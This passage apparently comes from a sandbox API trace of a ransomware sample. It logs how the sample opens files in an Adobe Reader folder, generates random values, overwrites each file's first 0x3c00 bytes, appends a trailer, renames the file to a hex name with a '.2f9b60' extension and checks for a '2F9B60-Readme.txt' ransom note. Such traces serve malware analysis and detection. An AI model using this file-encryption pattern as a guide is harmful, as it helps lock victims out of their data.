(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.340] WriteFile (in: hFile=0x1654, lpBuffer=0x41e93cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2742fac0, lpOverlapped=0x0 | out: lpBuffer=0x41e93cc0*, lpNumberOfBytesWritten=0x2742fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0159.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e93cc0) returned 1 [0159.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f31d40) returned 1 [0159.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20262120 [0159.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0159.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb72f0 [0159.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c20 [0159.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c20) returned 1 [0159.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20263c20 [0159.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3d10 [0159.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3d40 [0159.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3d40) returned 1 [0159.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb72f0) returned 1 [0159.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0159.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x420552d0 [0159.350] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0159.350] WriteFile (in: hFile=0x1654, lpBuffer=0x420552d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2742fb70, lpOverlapped=0x0 | out: lpBuffer=0x420552d0*, lpNumberOfBytesWritten=0x2742fb70*=0x108, lpOverlapped=0x0) returned 1 [0162.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058790 [0162.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0162.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0162.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606b0) returned 1 [0162.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0162.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0162.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608c0 [0162.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608c0) returned 1 [0162.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0162.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0162.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9fc70 [0162.743] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="47") returned 2 [0162.743] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="25") returned 2 [0162.743] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="72") returned 2 [0162.743] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="7c") returned 2 [0162.743] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="fe") returned 2 [0162.743] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="fa") returned 2 [0162.743] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="bf") returned 2 [0162.743] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="64") returned 2 [0162.743] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="8f") returned 2 [0162.743] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="fb") returned 2 [0162.743] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="52") returned 2 [0162.744] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="56") returned 2 [0162.744] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="8d") returned 2 [0162.744] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="63") returned 2 [0162.744] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="d4") returned 2 [0162.744] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="b1") returned 2 [0162.744] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="45") returned 2 [0162.744] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="26") returned 2 [0162.744] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="d0") returned 2 [0162.744] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="be") returned 2 [0162.744] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="b9") returned 2 [0162.744] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="bf") returned 2 [0162.744] RtlInitAnsiString (in: DestinationString=0x2742fbe8, SourceString="4725727cfefabf648ffb52568d63d4b14526d0beb9bf" | out: DestinationString="4725727cfefabf648ffb52568d63d4b14526d0beb9bf") [0162.744] RtlAnsiStringToUnicodeString (in: DestinationString=0x2742fbb8, SourceString="4725727cfefabf648ffb52568d63d4b14526d0beb9bf", AllocateDestinationString=1 | out: DestinationString="4725727cfefabf648ffb52568d63d4b14526d0beb9bf") returned 0x0 [0162.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e6b0 [0162.745] RtlFreeAnsiString (AnsiString="4") [0162.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0162.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0162.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606b0) returned 1 [0162.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420552d0) returned 1 [0162.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c20) returned 1 [0162.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3d10) returned 1 [0162.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262120) returned 1 [0162.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0162.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0162.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604d0) returned 1 [0162.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260470) returned 1 [0162.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b8696c0 [0162.748] wcscat (in: _Dest=0x1b8696c0, _Source="4725727cfef" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4725727cfef") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4725727cfef" [0162.748] wcscat (in: _Dest=0x1b8696c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4725727cfef.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4725727cfef.2f9b60" [0162.748] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4725727cfef.2f9b60", NtPathName=0x2742fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4725727cfef.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0162.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1cdb5110 [0164.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5110) returned 1 [0164.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1c0c0) returned 1 [0164.738] NtQueryInformationFile (in: FileHandle=0x1654, IoStatusBlock=0x2742fbf8, FileInformation=0x2742fc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2742fbf8, FileInformation=0x2742fc08) returned 0x0 [0164.738] NtSetInformationFile (FileHandle=0x1654, IoStatusBlock=0x2742fbf8, FileInformation=0x2742fc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e6b0) returned 1 [0164.740] FlushFileBuffers (hFile=0x1654) returned 1 [0166.276] CloseHandle (hObject=0x1654) returned 1 [0200.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b8676c0 [0200.329] wcscpy (in: _Dest=0x1b8676c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0200.329] wcscat (in: _Dest=0x1b8676c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0200.329] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0200.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866b40) returned 1 Thread: id = 871 os_tid = 0x1444 [0101.053] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm")) returned 0x20 [0104.843] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm", dwFileAttributes=0x20) returned 1 [0105.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1568 [0105.103] GetFileSizeEx (in: hFile=0x1568, lpFileSize=0x25d8fc80 | out: lpFileSize=0x25d8fc80*=16955) returned 1 [0105.103] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x4237, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.103] ReadFile (in: hFile=0x1568, lpBuffer=0x25d8fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25d8fc48, lpOverlapped=0x0 | out: lpBuffer=0x25d8fc00*, lpNumberOfBytesRead=0x25d8fc48*=0x4, lpOverlapped=0x0) returned 1 [0105.261] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260500 [0105.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0105.261] NtQuerySystemTime (in: CurrentTime=0x25d8fb40 | out: CurrentTime=0x25d8fb40*=132462177107518000) returned 0x0 [0105.261] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x6b28ace3 [0105.261] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x5ce020e [0105.261] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x7a8156b [0105.261] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x427e874a [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x3b035e1c [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x37f5a9ff [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x4c9adc91 [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x6ce98ad [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0xf614bb7 [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x2eea77ac [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x14f485ba [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x18e29f19 [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x39f5f3ad [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x156cf452 [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x7d9631c [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x364d66aa [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x550b32ca [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x6cb4dd91 [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x2d6001b [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x5b970a00 [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x48825be9 [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x64cd5072 [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x4d2946aa [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x2eab3da7 [0105.262] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x7e56d1fc [0105.263] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x5d611e61 [0105.263] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x5774c267 [0105.263] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x74512a41 [0105.263] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x1d793f01 [0105.263] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x34e29397 [0105.263] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x762e7e3c [0105.263] RtlRandomEx (in: Seed=0x25d8fb30 | out: Seed=0x25d8fb30) returned 0x4f5edfc6 [0105.275] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.275] ReadFile (in: hFile=0x1568, lpBuffer=0x41f35950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25d8fba0, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesRead=0x25d8fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0105.340] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0105.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0105.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e978d0 [0105.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0105.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0105.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fee0) returned 1 [0105.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.341] WriteFile (in: hFile=0x1568, lpBuffer=0x41e978d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25d8fba0, lpOverlapped=0x0 | out: lpBuffer=0x41e978d0*, lpNumberOfBytesWritten=0x25d8fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0105.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e978d0) returned 1 [0105.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0105.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a69e0 [0105.395] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0105.395] WriteFile (in: hFile=0x1568, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x25d8fc50, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x25d8fc50*=0x104, lpOverlapped=0x0) returned 1 [0105.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0105.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0105.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261730) returned 1 [0105.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0105.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0105.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b60 [0105.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b60) returned 1 [0105.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0105.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20263b60 [0105.546] sprintf (in: _Dest=0x20263b60, _Format="%c%c" | out: _Dest="6b") returned 2 [0105.546] sprintf (in: _Dest=0x20263b62, _Format="%c%c" | out: _Dest="a0") returned 2 [0105.546] sprintf (in: _Dest=0x20263b64, _Format="%c%c" | out: _Dest="a6") returned 2 [0105.546] sprintf (in: _Dest=0x20263b66, _Format="%c%c" | out: _Dest="c7") returned 2 [0105.546] sprintf (in: _Dest=0x20263b68, _Format="%c%c" | out: _Dest="38") returned 2 [0105.546] sprintf (in: _Dest=0x20263b6a, _Format="%c%c" | out: _Dest="55") returned 2 [0105.546] sprintf (in: _Dest=0x20263b6c, _Format="%c%c" | out: _Dest="94") returned 2 [0105.546] sprintf (in: _Dest=0x20263b6e, _Format="%c%c" | out: _Dest="7b") returned 2 [0105.546] sprintf (in: _Dest=0x20263b70, _Format="%c%c" | out: _Dest="dd") returned 2 [0105.546] sprintf (in: _Dest=0x20263b72, _Format="%c%c" | out: _Dest="04") returned 2 [0105.546] sprintf (in: _Dest=0x20263b74, _Format="%c%c" | out: _Dest="72") returned 2 [0105.546] sprintf (in: _Dest=0x20263b76, _Format="%c%c" | out: _Dest="9c") returned 2 [0105.546] sprintf (in: _Dest=0x20263b78, _Format="%c%c" | out: _Dest="07") returned 2 [0105.546] sprintf (in: _Dest=0x20263b7a, _Format="%c%c" | out: _Dest="67") returned 2 [0105.547] sprintf (in: _Dest=0x20263b7c, _Format="%c%c" | out: _Dest="8e") returned 2 [0105.547] sprintf (in: _Dest=0x20263b7e, _Format="%c%c" | out: _Dest="fe") returned 2 [0105.547] sprintf (in: _Dest=0x20263b80, _Format="%c%c" | out: _Dest="42") returned 2 [0105.547] sprintf (in: _Dest=0x20263b82, _Format="%c%c" | out: _Dest="54") returned 2 [0105.547] RtlInitAnsiString (in: DestinationString=0x25d8fcc8, SourceString="6ba0a6c73855947bdd04729c07678efe4254" | out: DestinationString="6ba0a6c73855947bdd04729c07678efe4254") [0105.547] RtlAnsiStringToUnicodeString (in: DestinationString=0x25d8fc98, SourceString="6ba0a6c73855947bdd04729c07678efe4254", AllocateDestinationString=1 | out: DestinationString="6ba0a6c73855947bdd04729c07678efe4254") returned 0x0 [0105.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c2b0 [0105.547] RtlFreeAnsiString (AnsiString="6") [0105.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b60) returned 1 [0105.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0105.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261730) returned 1 [0105.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1693c0) returned 1 [0105.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6980) returned 1 [0105.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a69b0) returned 1 [0105.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a69e0) returned 1 [0105.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0105.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260500) returned 1 [0105.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c80) returned 1 [0105.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c50) returned 1 [0105.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85e010 [0105.548] wcscat (in: _Dest=0x1b85e010, _Source="6ba0a6c73" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6ba0a6c73") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6ba0a6c73" [0105.548] wcscat (in: _Dest=0x1b85e010, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6ba0a6c73.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6ba0a6c73.2f9b60" [0105.548] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6ba0a6c73.2f9b60", NtPathName=0x25d8fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6ba0a6c73.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x204ffeb0 [0105.548] NtSetInformationFile (FileHandle=0x1568, IoStatusBlock=0x25d8fd10, FileInformation=0x204ffeb0, Length=0x92, FileInformationClass=0xa) returned 0x0 [0105.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffeb0) returned 1 [0105.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecec70) returned 1 [0105.797] NtQueryInformationFile (in: FileHandle=0x1568, IoStatusBlock=0x25d8fcd8, FileInformation=0x25d8fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25d8fcd8, FileInformation=0x25d8fce8) returned 0x0 [0105.798] NtSetInformationFile (FileHandle=0x1568, IoStatusBlock=0x25d8fcd8, FileInformation=0x25d8fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c2b0) returned 1 [0105.803] FlushFileBuffers (hFile=0x1568) returned 1 [0105.815] CloseHandle (hObject=0x1568) returned 1 [0105.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e190 [0105.818] wcscpy (in: _Dest=0x1b85e190, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0105.819] wcscat (in: _Dest=0x1b85e190, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0105.819] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0106.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0106.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 Thread: id = 872 os_tid = 0x1448 [0101.054] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm")) returned 0x20 [0104.839] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm", dwFileAttributes=0x20) returned 1 [0105.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1770 [0105.105] GetFileSizeEx (in: hFile=0x1770, lpFileSize=0x27b1fe40 | out: lpFileSize=0x27b1fe40*=16867) returned 1 [0105.105] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x41df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.105] ReadFile (in: hFile=0x1770, lpBuffer=0x27b1fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27b1fe08, lpOverlapped=0x0 | out: lpBuffer=0x27b1fdc0*, lpNumberOfBytesRead=0x27b1fe08*=0x4, lpOverlapped=0x0) returned 1 [0105.277] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.277] 